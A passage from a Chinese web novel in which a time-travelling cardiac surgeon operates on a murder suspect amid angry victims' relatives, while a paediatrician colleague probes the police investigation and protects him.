如果放在三十年后,及时送到医院进行手术,或许有一线生机,但现在来做这个手术,实在太难。 患者没有被误诊为心绞痛已经是幸运的。 陆随没有迟疑,“知道了,准备手术。” “好的。” 罗鸣说:“麻烦陆医生了。” 陆随正要回话,楼梯的安全门被打开,十几个人涌了进来,“果然在这里!他们要救人!” 第92章 第92章不听不听 十几个人中有男有女,有老有少。 情绪最激动的是个三十多岁的男人,他冲到陆随面前,疯狂地抓住他的手臂,“你是医生!你不能救他!” 南栀试图把男人推走,“喂喂喂,你弄疼他了。” 陆随原本还算冷静,见南栀掺和进来,有点儿着急,他看向罗鸣,“罗警官?什么情况?” 警察们冲过来分开陆随和男人。 这十几人的情绪却是警察压不住的,即便有五六个警察同时拦着,他们还是想往里冲。 只有一个十几岁的男孩一进来便贴着墙根坐下,漠然地看着这一切。 罗鸣将陆随和南栀带到一旁,无奈道:“实不相瞒,里面的患者叫许斌,是我们刚抓到的犯罪嫌疑人,这些人都是受害者的家属。” 南栀问:“是命案?” “是的,你们可能也听说过,就在三天前,申树的妻子张玲玲遇害,申树是犯罪嫌疑人,受害人是播音员,喜欢听广播的对她的声音都很熟悉,关注这起案件的人很多,而且她遇害时刚怀孕三个月,一尸两命,家属情绪激动。” 申树愤怒地吼叫,“你是医生,你怎么能救杀人犯,他杀了人,要付出代价!” 许斌被捕后,申树和家人一直守在警局,今天早上许斌胸痛,警察带他去医院做检查,申树和家人也在偷偷跟着。 一直到现在,他们发现有医生想救许斌才爆发。 南栀说:“杀人违法,有法律制裁,我们的任务是让他坚持到被制裁,难道你们希望他不明不白死了?” “你懂什么?!”申树双眼不知是被泪水还是汗水模糊,格外狼狈,但声音却没减弱,“警察会把他枪毙吗?警察说了,他不是犯人!!” 南栀看向罗鸣。 罗鸣尴尬道:“这件事……我们以后再说?现在救人比较重要。” 许斌的手术确实不能拖,早上在其他医院已经耽误很长时间。 陆随点点头,“我……” “不行,”南栀严肃道,“话要先说清楚,不清不楚的手术没法做。你没看见他们的架势?手术成功与否,都会有麻烦,我们起码要有知情权和选择权。” 如果换作是南栀的手术,没什么好说的,她敢直接开进手术室,但这是陆随的手术,她就忍不住想得多了些。 受害人家属情绪激动,犯罪嫌疑人情况危急,这都是不稳定的因素。 南栀对罗鸣说:“看起来申树知道一些内情,应该是不怕泄露的,罗警官,我们是医生,但也要保护自己,如果真有特殊情况,今天陆医生做完手术,手术成功了,谁来保证他的安全,手术失败又如何?你们可以一直保护他吗?” 陆随安静片刻,道:“我需要知道申树为什么这样说,我想整个临川市除了我们,没人会做这个手术,许斌很快就会死亡。” 罗鸣能看出陆随其实不是很在意。 但南栀开口,他就顺着南栀的话说。 南栀不像是个好对付的。 警察已经快控制不住张玲玲的家属。 罗鸣只好说道:“指认许斌杀人的是张玲玲的弟弟张晓乐。” 他看向一直坐在墙边神色冷漠的男孩。 “张玲玲的确是在许斌家附近遇害的,可我们查过,张晓乐指证许斌杀人的时间,许斌在家附近的麻将馆,有人能作证。” 南栀道:“既然有不在场证明,许斌不是凶手?” “也不能这样说,”罗鸣道,“张玲玲和许斌的妻子王鑫是朋友,一直有来往,而且我们还在许斌家里发现一把被清理过的匕首,匕首虽然被清理过,但能检测出血迹。” 南栀下意识想说去验DNA,又想到现在的技术可能不允许。 “所以许斌现在只是嫌疑人,还没有确凿的证据证明他杀人?” 罗鸣是老刑警,目光锐利,但现在面对受害人家属,老鹰都要被折磨成秃鹰。 他苦闷道:“我们才刚把人抓住,正在审,他突然胸痛,我们能怎么办,只能赶紧送医院,起码要把人拉回来,再继续查吧?但是张玲玲的家人肯定是相信张晓乐的,他们认定许斌就是凶手,希望我们能将许斌捉拿归案,可办案哪有这么简单?” 警察有警察的难处。 一起刑事案件,警方立案侦查,找到犯罪嫌疑人,找人证物证完善证据链,再到起诉移交法院,是相当繁琐的过程。 两年能给定罪执行就不错了,短时间内要求他们枪毙许斌,可能吗? 罗鸣看了眼申树,低声说:“现在他们也有顾虑,担心张晓乐的证词没办法给许斌定罪,所以不希望你们动手术。” 陆随看向南栀。 南栀道:“既然如此,肯定要让案子真相大白,家属那边就麻烦罗警官了,我们陆医生身娇体弱的,他们如果迁怒陆医生,陆医生也打不过他们。” 身娇体弱的陆随:“……” 他到底为什么会给南栀留下这么个印象。 陆随想起几个月前黄春兰日日都送的补汤。 他到底为什么会给这些人留下这种印象?! 陆随试图纠正,“我只是因为昏迷,比较容易感冒,我的体力很正常。” 好歹是外科医生,遇到复杂手术,在手术室里待五六个小时是很正常的事。他如果真的体力不好,一场手术能不能坚持下来都是问题。 罗鸣说:“你经常感冒?” 陆随:“……偶尔。” 罗鸣同情道:“身体真弱,要多锻炼啊!” 陆随:“……” 南栀紧跟着说道:“对呀,人家一个小孩都能把他打倒,所以得让您费心了。” 陆随:“?” 小孩? 罗鸣说:“你放心,我们肯定不能让医生被欺负,而且听说这种手术很难做,手术风险很大。犯罪嫌疑人的家属,我们也会拦着点儿。” 陆随:“……” 手术成功,挨受害人家属的骂。 手术失败,挨犯罪嫌疑人家属的骂。 真是一份好工作。 陆随没再耽误时间,不管挨谁的骂,这场手术肯定要做。 他是医生,只负责治病救人。 就算救的是犯人,他也得把人活着送进监狱去受罪。 申树突然挣脱开,冲向陆随。 罗鸣反应极快,先转身挡在陆随面前,再去拦申树。 申树却扑通跪下,朝陆随磕头,“求你了,我和我老婆结婚八年,我们好不容易有了孩子,我离不开她,晓乐是个好孩子,不会说谎,这种人救他干什么?救了也是祸害!” 陆随道:“他是否犯罪,要由法律定夺。” “如果没有证据抓住他呢?!”申树几乎崩溃,乱蓬蓬的头发盖住眼睛,脸上已分不清是汗水还是泪水,“警察说他有不在场证明!可玲玲是晓乐的亲姐姐,晓乐能撒谎吗?!孩子看到那一幕,到现在都不正常,难道就让他跑了!” 陆随微怔。 现在的技术去找证据,确实很困难。 许斌有不在场证明,如果他是使用了某种方法,那确实…… 陆随愣神时,南栀问:“如果可以确定不在场证明是真的,张晓乐看到的又是什么?如何证明他看到的就是许斌?” “一定是他在耍心机,他故意的!” 南栀问:“耍了什么心机?” “这……” “你不知道,我也不知道,案子还需要调查,这是警方的工作,我们的工作就是努力把人救活,然后送给警察。” 申树拧眉,“可是每年堆积的悬案有多少,难道就让玲玲不明不白地去死?” 南栀语气坚定,“不论是嫌疑人躺在里面,还是张玲玲躺在里面,我们的目标都一样,把人救活。” 陆随看了眼南栀,转身离去。 申树喊道:“就算他运气好,活了下来,我会杀了他,我一定会杀了他!” 警察上前把申树带走。 许斌的病情比较特殊,又牵扯到市里的刑事案件,汤兴生和祁念珍第一时间赶过来。 南栀和两位院长一起围观陆随的手术,当然这都是通过康宁医院说先进但不算先进,说落后也不落后的录像设备。 陆随已经准备开始手术。 南栀想了想,向祁院长提议道:“最好能把阮乔也叫过来。” 祁念珍:“?” 南栀说:“她最近缝猪皮也挺6.” 祁念珍明白了,“叫。” 汤兴生看向二人,欲言又止。 祁念珍道:“咱们连院长是个喜欢高科技的人,很多设备,他自己本身就有意向。医院在设备方面投入很大,可惜以前没几个好医生,如果现在有人能告诉他,有些手术是能做成的,你说他会不会头脑一热,就把设备买了?” 南栀眼前一亮。 汤兴生无声地摇头叹气。 祁念珍道:“有话就说,这可不是你的风格。” 汤兴生慢吞吞道:“咱们医院的儿 科现在已经不错了,真想做到儿童医院的程度,可能吗?维持现状就是最好的。” 祁念珍安静片刻,对南栀说:“小栀啊,凭你的能力,我相信你将来绝对能走得很远。你要记住一件事,下属是一起奋斗的同志,是互相扶持的伙伴,绝对不是你的奴隶,明白吗?” 南栀脆生生地应道:“明白!” 汤兴生:“……,啊对对对,连院长就喜欢搞那些设备,赶紧让他买回来!” 祁念珍笑眯眯道:“还得汤院长帮忙说几句好话呀。” “下次开会我提议,我一定提!” 祁念珍满意地笑了。 做人,要么做好人,要么做坏人。 就怕汤兴生这种还稍微留着一点点良心的,最拧巴,稍微不留神就被人家拿捏住。 但韦初雪这事,总归是他理亏,韦初雪现在还没回来,大家对他的意见都不小。 阮乔穿好防护服走进来。 南栀低声道:“你看着,我给你讲,不过心外科的手术我没那么了解,可能讲不好。” 祁念珍瞥了眼南栀,看向汤兴生,“心外的医生都在忙?” 汤兴生:“……,小李,去心外叫个医生过来。” 于是阮乔就拥有了专业的讲解员。 祁念珍:“老汤啊,你看你,这不是耽误人家的工作吗?” 汤兴生:“……” 谢谢她,谢谢她全家。 这台手术的难度是史诗级别的,起码在临川市没有成功的案例。 手术开始后,陆续有医生走进来观摩,包括医院的其他领导,还有心外主任。 郤文曜:“……” 要在这些大佬面前给阮乔讲解吗? “动脉瘤临床表现为持续性的前胸、后辈活着肩胛区剧烈疼痛,有濒死感,甚至可能出现剧烈腹痛或者腰痛。临床上经常遇到主动脉破裂出血、动脉分支栓塞或者心包填塞造成猝死的情况。起病很急,百分之八十的急性患者,在发病两周内死亡。” “许斌的情况很不乐观,他的动脉瘤太大了,我见过的也就四五厘米,他这个最大直径有八厘米。” “八厘米,放在二十年后都不见得能割下来,术中要精确分离瘤体和血管分支,稍有不注意就会导致器官缺血,瘤体内有血栓掉落,造成远端血管栓塞的风险,陆医生做这种手术,是在和自己过不去。” 虽然手术台上的几人都很平静,但外面看手术的这些人心都揪着。 听到这话,连呼吸都忘记。 南栀看向说话的人,似乎是心外的副主任。 如今心外科以主任为首,再就是陆随和箫珵,几位副主任的光芒被掩盖,多少有点儿情绪。 但陆随和箫珵学的是后世的医疗知识,医学是在进步的,他们优于这位刚刚三十五岁的副主任并不奇怪。 南栀道:“我们做手术时,只会想病人的情况,考虑该如何应对,至于是不是和自己过不去,不在考虑范围内。” 副主任脸色微变,“许斌是杀人犯,你知道吗?” “不知道,”南栀问,“他已经定罪啦?谁定的?警察不是刚抓住他吗?” 副主任:“……” 阮乔下意识帮腔,“副主任肯定有咱不了解的渠道,说不定认识法院的人呢,提前知道消息了是吧?” 她损完发现不对,恩……这是心外科的副主任。 她这张嘴!! 祁念珍话不多,但一旦开口,就不允许再有人说三道四,“对警察而言,这是犯罪嫌疑人,对医生而言,这只是病人。不管他是什么样的病人,你有权拒绝,其他人也有权接受。” 所有人都不再说话,专心看手术。 南栀已经见识过舒映阶和陆嘉述的厉害,这二位都是顶级的外科医生,虽然是在小儿外科,但放在成人外科一样出色。 即便如此,南栀看到陆随做手术,还是会觉得赏心悦目。 他做的每一步都堪称完美,好像是从教科书上一比一复制下来的,不会多做一步,也不会少做一步。 陆随毕竟也顶着第一的名头混迹在学校内,还招教授的喜欢,是有真本事的。 但即便如此,许斌的情况还是不好。 许斌原有高血压和动脉粥样硬化,他已经五十五岁,身体素质一般。 南栀忽然想到申树。 罗鸣说申树的妻子和许斌的妻子是同学,申树看着也就三十几岁,许斌怎么会比申树大二十多岁? 手术持续的时间比较久,南栀和阮乔不能逗留太久,她们还有儿科的工作。 一个多小时后,两人离开手术室。 不出意外,张玲玲的家人还在外面守着,反倒是许斌的家人一直没露面。 张晓乐依旧蹲在墙边,他双手抓着头发,直勾勾地盯着某一处。 申树看到有医生出来,离开看过来。 阮乔低声问:“就是他?” 南栀点头。 她没有理会申树,走向罗鸣。 阮乔道:“第一次在警察的保护下工作,好像天要塌了。” 罗鸣正和同事讨论案情。 他们也是倒霉,辖区内发生凶杀案,有目击者原本是好事,结果刚把嫌疑人抓过去审,人就病倒了。 刚刚局长还呼他让他回电话,估摸着要问他是不是刑讯逼供。 开玩笑,他能给许斌塞个瘤子进去? 罗鸣看到南栀走过来,打起精神来。 不知为何,南栀看着人畜无害,罗鸣就是觉得她不太好相处。 她很聪明。 聪明的人很多,她和其他聪明人的区别就是,有的人看穿了,但不说,她,一定会说。 有些事嘛,说出来就很难看了。 南栀果然又是直来直往,“罗警官,许斌和他妻子的年纪差得很多?” 罗鸣无奈道:“你还是一如既往的直白。” 阮乔说:“警官大人,您还是别让她委婉,我怕您承受不住。” 罗鸣:“?” 他看向南栀,南栀依旧保持着乖巧的脸。 但……他觉得阮乔说得对。 罗宾解释道:“许斌和妻子王鑫是老夫少妻,的确差着一些年纪,但不犯法,咱也管不着。王鑫的父亲走得早,她算是缺少父爱吧,喜欢成熟男人,一毕业就跟着许斌了。” 南栀问:“您没查过王鑫吗,她和张玲玲才是有直接关系的。” 罗宾压低声音道:“这位医生,我是看你和陆医生关系不错,所以才告诉你,希望陆医生不要有顾虑,我说的这些话,不能告诉别人,案子还没结。” 南栀点头。 “其实张玲玲被侵犯过,可以确定犯人是男性。” 南栀问:“生前还是死后?” 阮乔惊悚地睁大眼睛。 这还能死后?? 罗鸣也停顿两秒。 南栀解释道:“法医可以判断是生前还是死后,所以我问问。” “……也是,你们都是医生,一个治死人,一个治活人。”罗鸣嘀咕了一会儿,说,“张玲玲是死后被侵犯的,不会是王鑫。” 南栀捕捉到漏洞,“这么说你们也怀疑过王鑫?王鑫和张玲玲有矛盾吧?” 罗鸣:“……” 他好像被套话了? 南栀说:“您可以去查我的信息,我和他们毫无瓜葛,只是认为很奇怪,所以多问两句。” “……行吧。” 罗鸣喝了口水。 在此之前,他也没想过自己需要长篇大论。 “张玲玲和王鑫确实有过矛盾,拌过几次嘴,但基本上都是为了一些小事,比如她们约好一起去百货大楼,张玲玲去晚了,再比如她们约好在家里吃饭,张玲玲拿去的肉很少,拿的都是蔬菜……” 南栀说:“都是王鑫在指责张玲玲。” 罗鸣:“啊?” 南栀自言自语道:“不过这些都是王鑫的证词,她肯定会说对自己有利的。” 罗鸣赶紧说:“我们也是这样考虑的,而且事情确实太小。” 南栀道:“但也不能完全排除王鑫的嫌疑,毕竟这些都是小事,但王鑫显然对张玲玲有不满的情绪,而且王鑫和许斌也可能是同谋。对了,张玲玲体内有**吗?” 阮乔再次惊悚。 罗鸣点头。 南栀道:“这个得保存好,以后可能有用。” 保存好犯人的DNA,即便现在无法检测,将来慢慢联网,就有可能抓住凶手。 南栀说:“您再和申树解释解释吧,我看他们都认定了许斌就是凶手,如果手术成功,我担心陆随会被攻击。” “这没问题,我会安排人过来。” 南栀还是没法放心。 警方能保护一两天,不能保护一辈子。 还是得找到确切的证据,案子结了,才不会牵扯到陆随。 南栀和阮乔向罗鸣道别。 罗鸣高兴地挥手说再见。 回儿科的路上,阮乔故意说道:“你还说害怕和陆医生待在一起,一遇到陆医生的事情你就着急。” “我?着急?有吗?” 阮乔道:“医生都要去破案了,还不着急?” 南栀想了一会儿,说:“我只是把自己的想法说出来,真的蛮奇怪的。王鑫和张玲玲是朋友,张玲玲在王鑫家遇害,这一幕被张玲玲的弟弟看见,他指证许斌是凶手,但许斌却有不在场证明。” “那就是合谋,王鑫和许斌一起杀的人。” 南栀也没法下论断。 阮乔道:“不过你真的好可怕诶,竟然还知道**?” 南栀说:“生物课不是学过吗?” 就算不上生物课,医学生不知道**也太怪了吧? 阮乔:“……” 她是认为南栀在这方面什么都不懂,所以听南栀说出这个词很违和。 而且阮乔还先入为主地认为,这不是什么好词。 …… 这不就是个普通的词吗? 阮乔吐槽道:“全国人民都知道怎么生孩子,就是不让提,什么毛病?不对,我们刚刚在说陆医生!” 南栀:“……” 其实她又不太记得为什么会抵触和陆随在一起了。 应该和她爸妈有关。 但他们具体做过什么,南栀想不起来,只知道不太好。 而且她还知道,她现在过得很好,那段记忆不重要。 大概是她给自己的心理暗示太根深蒂固。 南栀认真说道:“我在试着和陆随接触,上次牵手,也没抵触的,就是觉得挺好玩。” “?” 和心上人牵手会觉得好玩吗?? 南栀:“很好玩啊,他脸红了,好有趣哦。” 阮乔:“……” 她真想告诉南栀,奇怪的人是南栀才对!! 南栀说:“我觉得可以再试试看,有时间的话再约会呗。” 阮乔有种不好的预感:“去哪里?” 南栀绞尽脑汁想了很久,说:“有本期刊我买不到,隔壁市有,坐火车去隔壁市,顺便逛逛?” 阮乔:“……” 她要和爱学习的人拼了! 许斌的手术持续了四个小时。 手术过程异常惊险,但顺利完成。 目前许斌已经转入ICU,他的情况比较特殊,有两名警察看守。 申树听到这一消息,手脚发凉,他喃喃道:“玲玲死了,他还能活……” 张玲玲的父亲骂道:“我听说手术难度很高,他居然还能活下来!” “这是什么医生?杀人犯也要救?!” “呵,我估计许斌还得去找关系,过不了几天他就脱罪了。” 申树愣愣地盯着地面,嘴里还是那句话,“他凭什么还能活着?” 他脑中闪过的,都是和张玲玲相处的画面。 他们是工作时认识的,张玲玲能力出众,性格开朗大方,所有同事都喜欢她,每年评优秀员工,一定有张玲玲的名字。 他是在单亲家庭长大的,父亲早逝,母亲不太重视他,更关心小弟弟和小妹妹。 他话少,不善交际,和同事也不亲密,只有张玲玲愿意和他聊天。 她像一缕阳光,拨开厚重的乌云,让他也能感受到阳光的温暖。 结婚八年,他们一直没有孩子,张玲玲的妈妈给她找来很多种药,申树喝过一次,很难喝,他不想让张玲玲受苦,不同意她再喝药。 没有孩子就算了,对他来说,张玲玲才是最重要的。 他明确地告诉岳父岳母,他和张玲玲结婚是因为喜欢她,不一定非要一个孩子。 但岳父岳母总是愧疚,张玲玲也不安心。 这种事情,可能是女方的问题,也可能是男方的问题。 但他们总是默认将责任归于女方。 申树劝了很久,张玲玲才同意顺其自然,这一顺,张玲玲竟然怀孕了,全家人都很高兴。 按照临川市的传统,三个月前不能说,张玲玲小心翼翼休养了三个月,一切顺利,才敢外出走动。 那天晚上,张玲玲本应该在七点半到家。 申树和往常一样出去接她,他们家门前的胡同没有路灯,张玲玲怕黑。 同样的胡同、同样的马路,甚至是同样的行人,申树再也没等到张玲玲。 他猛然抬头,木讷地看着手术室,一字一句道:“他不能活着。” 陆随刚走出手术室,就被情绪激动的家属们围住。 罗鸣赶紧把他那柔弱的陆医生护住,指挥其他警察来控制局面。 陆随在人群中摇摇晃晃,几次差点儿站不稳。 一个男人指着陆随破口大骂,“你就是个畜生!你们都是一伙的!垃圾!都是垃圾,你,警察,刚刚那个女医生,都是畜生!” 一直闷头往前走的陆随停下。 他的表情看不出情绪,眼底似乎是平静的,但又不太平静。 陆随一字一句道:“手 术很成功,医学奇迹,我还打算去参加病例研讨会,分享许斌的手术方案。” 罗鸣:“……” 这些医生祖宗怎么一个比一个会气人?! “好了好了好了,”罗鸣一连喊出三个“好了”,试图转移家属的注意力,“来,你们都跟我来,我们聊案子,医生还有其他工作!” 先前骂陆随的人愣了好一会儿才反应过来,他冲在最前面,趁警察不备,挥拳朝陆随的脸打去。 这一拳打在陆随的左脸,他半张脸很快泛红,还有瘀青。 陆随只是擦了下脸,然后朝他笑了一下,便打算离开。 他刚走几步就看到南栀。 南栀的眉头皱得相当夸张,她拦住“队伍”,精准地抓住罗鸣的手,只拽手拽不动,南栀薅住他的头发,把他拉出来。 罗鸣:“!!” 他所剩无几的宝贵头发!! 南栀说:“他打人,我们要报警,我要验伤。” 罗鸣:“……” 全天下是不是只有他最好惹? 南栀声明:“我们不接受道歉,走法律程序,我会找律师,我要看到他被拘留。” 张玲玲的家属全部愣住。 打人的男人怂了一分钟,气焰又起来,“我就打了一下,怎么了?” 南栀也不和他废话,她看向罗鸣,“要去警局配合调查是吧?走吧,现在去。” 罗鸣理解受害者家属,但从某个角度来说,他也希望不要有这种动不动就动手的受害者家属。 他点点头,“现在就走,你不用和领导说一声?” 罗鸣曾经在派出所任职,工作三年后被调到刑侦队,在派出所时,他处理过患者或者患者家属和医生的纠纷,一般情况下,医院都会选择息事宁人。 正巧心外主任和几位院长还没走。 南栀说:“哦,这是我们院长。” 罗鸣:“你们谈谈?” 汤兴生指着自己问:“我和她谈?” 他疯了吗? 他是日子过得太好,想被讽刺? 还是觉得仕途没意思,想得罪陆嘉述玩玩? 哦,现在还有可能得罪祁念珍。 他和祁念珍是平级,但谁没事会去得罪平级?! 祁念珍问:“什么情况?” 南栀说:“他打了陆医生。” 祁念珍看向陆随。 陆随道:“恩,我要报警,必须报警,不接受道歉。” 罗鸣:“……” 刚刚明明没说什么。 祁念珍道:“我们的医生也不是放在这里让你们打着玩的,既然打了人,该怎么走程序就怎么走。” 罗鸣点头,“明白。” 张玲玲的家属见警察真要把人带走,这会儿才反应过来,有人试图说好话,罗鸣忍无可忍道:“你们是受害者家属,我理解你们的心情,一直都没真做什么,但这不代表你们可以随便打人。张玲玲是医生杀的吗?这件事和医生有关系?别说废话了,回局里说!” 南栀拉着陆随去警局处理此事。 不需要道歉,不需要赔偿,只需要拘留。 警局里,南栀心疼地看着陆随,“他打得也太狠了,现在还没消肿。” 陆随弯唇。 这算是关心他? 南栀说:“多好看的一张脸,唉,现在不好看了。” 陆随:“……” 呵呵,他不仅是工具人,还是个肩负着花瓶任务的工具人。 南栀帮陆随擦药。 为了能顺利把人送进去,南栀还特意等法医到了,检查完毕才给他上药。 当真是十分心疼。 南栀平时的患者都是孩子,经常有摔倒摔伤的孩子来医院,偶尔南栀也会给他们上药。 面对孩子,南栀自然要轻些,她可不想触发他们的痛哭小雷达,而且面对孩子时确实会多一些同情心。 南栀给陆随上药时,陆随几乎感受不到疼,只觉得半张脸热乎乎的。 南栀上着药,想起阮乔的话,顺手抓起陆随的手玩。 陆随:“?” 很快南栀就无法凭借颜色分辨他是哪半张脸受伤,只能看高度了。 果然很有意思! 不远处的罗鸣神色复杂地看着两人,“他俩是情侣?” 下属说:“好像听一个医生提到过,已经订婚了。” 罗鸣:“……” 他是他们游戏的一环吗?? 处理好警局的事,南栀和陆随回到医院,张玲玲的家属已经散了。 南栀一直把陆随护送到心外科办公室。 陆随很无奈,“这里是医院,人很多。” “那也不行,你没看他们当时的状态,如果不是警察在,肯定打得更狠。”南栀义正词严道,“你身娇体弱的,我得保护好你,你可千万不要一个人走,一定要拉着我哥一起。” 陆随:“……” 这话怎么又好听又难听的? 陆随重申,“我只是感冒的次数稍微多了一点。” 南栀:“只是一点?” 陆随:“……很多。” 但他和身娇体弱到底有什么关系!! 南栀说:“你就别挣扎了,我都明白,你今天留意申树和张晓乐了吗?申树的状态不对劲,手术成功后他一句话都没说,也没来找你,我担心他会选择极端的方式。” 许斌人在ICU,还有警察在门口守着,ICU里医护人员多,申树想做点儿什么不太容易。 但陆随可不一样,他随时都可能落单,谁知道申树会不会迁怒陆随? 现在把陆随保护起来,总归没有坏处。 陆随叹气道:“你就别操心了,我心里有数,这种手术,无论如何都得做,更何况这次手术成功有重大意义。” 这一点南栀倒是不反对,“这种手术在三十年后都值得研讨,这是经典病例,广为流传。” 陆随说:“现在的设备跟不上,很多情况只能凭借经验。” 南栀说:“一起呀。” “恩?” 南栀:“一起坑连院长,让他进设备。” 陆随:“……” 正在院长办公室喝茶的连争连打好几个喷嚏,“最近总有人在想我??” * 许斌手术后两天,只有警察守在医院,张玲玲的家属没再来闹。 这一点倒是不奇怪,毕竟他们其中一个人已经得到教训,其他人想闹也得再掂量掂量。 让南栀在意的是,申树也没有任何表示。 南栀还特意给罗鸣的办公室打电话询问,罗鸣说申树这两天一直留在家里,每天正常准备三餐,好像张玲玲的死已经过去。 能过得去吗? 南栀不太懂申树和张玲玲之间的感情。 对南栀来说,一男一女成为夫妻,就是方便吵架的。 还方便摔东西,反正他们赚的钱都是夫妻共同财产,摔什么都是俩人一起赔付,多方便。 不过南栀现在已经知道她这种想法是不对的,黄春兰和南明杰的夫妻关系就很和谐,和谐到让南栀陌生。 除了申树,许斌的家人也没动静,许斌犯病到现在,他们始终都没出现过。 反倒是ICU其他患者和家属,得知犯罪嫌疑人也在ICU,纷纷表达不满,医院还得派人去安抚他们的情绪。 许斌手术结束后还要面对各种手术并发症,肯定不能离开ICU。 这几天陆随去ICU都是从小门钻进去的。 陆随:“……真有必要?” 箫珵说:“要不是南栀担心你,你以为我想看着你?真是怪了,南栀怎么就看上你了?” 陆随:“哦,走小门吧,挺好。” 箫珵:“呸。” 许斌已经清醒。 他清醒后,试图表达什么,但他无法说话。 护士给他准备了纸笔,他在纸上写了一些字,字歪歪扭扭的,只能看出来笔画,没法看出表达的意思。 陆随检查过许斌的情况后,和箫珵一起研究这些字。 “是钱的意思吧?他要钱?” “他来医院之前是在警局,要钱做什么?” “那还能说什么?金、金……” ICU的护士长路过,幽幽道:“是找他老婆王鑫吧?” 陆随:“……” 箫珵恍然大悟,“是这个鑫啊!” 陆随回到办公室,给王鑫打电话。 王鑫家中没有座机,这通电话是打给王鑫的单位的,过了很久王鑫才来接电话。 陆随道:“你的丈夫许斌已经清醒,他……” 王鑫“啪”的一声摔了话筒。 第93章 第93章他来啦 直到晚上,王鑫才姗姗来迟。 王鑫到后二十分钟,许斌的父母也来了。 王鑫与张玲玲年纪相仿,烫了头发,穿得挺时髦,还背皮包。 许斌的父母看起来都是文化人,像是退休的老教授。 事实上陆随猜得差不多,许斌的父亲是大学教授,母亲是高中教师。 七十年代,二人或多或少被连累,但好在又恢复了他们的名誉。 陆随道:“许斌的求生意志很强,正常来说,术后昏迷个两三天,甚至一辈子醒不过来都是有可能的,但他醒得很快。” 王鑫三人毫无反应。 “他苏醒后,提出想见王鑫,警方那边也想继续调查,所以由我来联系你们,出于人道主义,你们可以看看许斌。” 仍然没人回答。 许斌的手术难度极高,在没有后世设备的配合下, 手术能够成功,一半靠陆随的实力,另一半完全靠运气。 手术不仅成功,许斌还已清醒,目前为止没出现脑水肿、肾功肝功的问题,这简直是可以去买彩票的运气。 可对于许斌的运气,王鑫几人似乎并不高兴。 陆随一时不知该再说什么好。 许斌想见王鑫,罗鸣已经同意。 许斌现在随时会去见阎王,陆随叫他们过来,其实是担心他们看不到许斌最后一面。 当然,这是陆随基于医生角度的想法。 陆随问:“你们要见他吗?” 办公室内再次安静。 王鑫看向公婆,公婆二人多多少少有些嫌弃她,也不愿先开口。 王鑫愤恨道:“你为什么要救他?!” 陆随一怔。 “他是杀人犯,他**我的好朋友,还杀了她,他让我成为众矢之的,你为什么不让她死?!” 陆随心脏猛地沉了两下,呼吸有些困难。 许斌的父母紧跟着说道:“我教书育人一辈子,没想到却把儿子培养成杀人犯,我们的老脸都被他丢尽了,再也不想看到他。” 闫民怀还没下班,他弱弱地问道:“你们都相信许斌是凶手?” 这事在医院很轰动,尤其是陆随的手术很轰动,他也知道不少。 警方都还没敢肯定凶手就是许斌,做父母的居然不相信自己的儿子? 许父苦笑道:“他是什么模样,我们能不知道吗?怪我从前管他太严格,他工作后是破罐子破摔,去年还对我们老两口动过手,脾气如此暴躁,说他会去杀人,我们不惊讶。” 连父母都不愿意相信他。 许母说:“他身体一直不好,我想带他来医院看病,他是一点儿都不听。每天都要喝酒,钱不够就找我们要,会出意外一点儿都不奇怪。” 王鑫质问道:“所以你为什么要救他?!” 第一次,患者的家属也在质疑陆随。 陆随看着王鑫不语。 办公室的门被推开,主任带着箫珵乐呵呵走进来,“小陆啊,这次手术成功非常不错!又是一个经典病例!这个月的病历交流会你得去!” 手术成功的消息传出,其他几个医院只有佩服和眼红的份儿。 从今以后,他们心外在康宁医院更能昂首挺胸地走路。 走到连院长头上都行。 主任现在都后悔在陆随刚来时欺负他,当时只觉得他性格懦弱,顺便蹭点儿好处,没想到人的性格居然是会变的?! 然而这话在王鑫耳中却很不中听。 王鑫道:“原来你们是为了医院的业绩才救人?!” 主任莫名其妙。 医院要什么业绩? 今天救活几个? 就算要,那也是恩德医院想要,他们康宁医院走这条路了吗? 闫民怀连忙打圆场,“你误会了,许斌的情况比较特殊,手术能够成功,对医学发展有重要意义,他们都是医生,只会站在医生和患者的角度考虑。” “所以你们就不管我的死活?!我要让他死,让他现在就去死!!” 许斌的父母冷脸转身。 王鑫似乎在崩溃的边缘,好几次举起桌子上的杂物朝陆随摔过去。 主任赶紧让闫民怀把人带走。 王鑫推开闫民怀,拿起桌子上的茶杯,朝陆随泼去。 水是温的,幸好不是热水。 “干什么?!”主任呵斥道,“你也想进拘留所?!闫民怀,赶紧把人送到罗警官那边去!” 闫民怀把王鑫拽走。 陆随擦干净脸。 主任怕这把宝刀不开心,安慰道:“我也经历过类似的事,不讲理的人很多,别放在心上。” 陆随只是小幅度地点头,“没事。” 主任说:“许斌的情况你最了解,还得是你盯着,不过你不要再接触许斌的家属,这些事交给其他人做。” “好的。” 主任笑道:“你现在和刚来时是真不一样了,有担当了。” 陆随瞥向主任,“我那几篇论文……” 主任尴尬道:“是你的总归是你的,我们做前辈的,能做的只有提携。你不要心浮气躁,将来前途比我更好。” 陆随牵唇。 确实,他只是小城市医院的心外科主任而已。 王鑫来陆随办公室闹的消息,很快传到南栀耳中。 她也不知道医院的八卦怎么会传得这么快,明明他们连手机都没有。 传播的顺序大概就是—— 心外护士和骨科护士狗狗祟祟:“我们陆医生被泼水啦。” 骨科护士和骨科医生神神秘秘:“心外的陆医生被热水泼了!” 骨科医生和耳鼻喉医生低语:“心外的陆医生破相了。” 最后阮乔和南栀说:“许斌真的太恐怖了,他家里人带了四五个彪形大汉去找陆医生,你赶紧去看看陆医生吧,他娇娇弱弱的,现在可能进急诊了。” 南栀都顾不得下班,立刻去找陆随。 办公室里的陆随好端端的,没进急诊也没破相,只是有点儿咳嗽。 南栀检查他好半天,评价道:“你真的很柔弱。” 陆随:“……” 他只是抵抗力变低了! 只是后遗症!! 陆随说:“我的力气比闫民怀大。” 南栀惊讶道:“你们还专门比力气?” 闫民怀说:“不是专门比力气,掰手腕而已,陆哥的劲儿真大,不愧是外科医生,我是赢不了他。” 南栀:“你更弱。” 陆随:“……” 闫民怀不服气,“萧哥也输了。” 南栀:“!,那你还怪厉害的!” 陆随:“……” 不是,凭什么有箫珵做对比,他就是厉害的?? 南栀苦口婆心道:“但你也不能总感冒啊,总吃药不好,你得注意保暖,别凉着,要及时休息……我看看你在吃什么药,这药不行,换一个,连院长怎么什么药都进?” 闫民怀:“……” 他的小脑无法把买药的事和连院长联系起来,连院长会做这种事?? 南栀确认陆随没事,才问道:“王鑫为什么打你?是看你好欺负?” 陆随纠正道:“是泼水。” 并不是他好欺负。 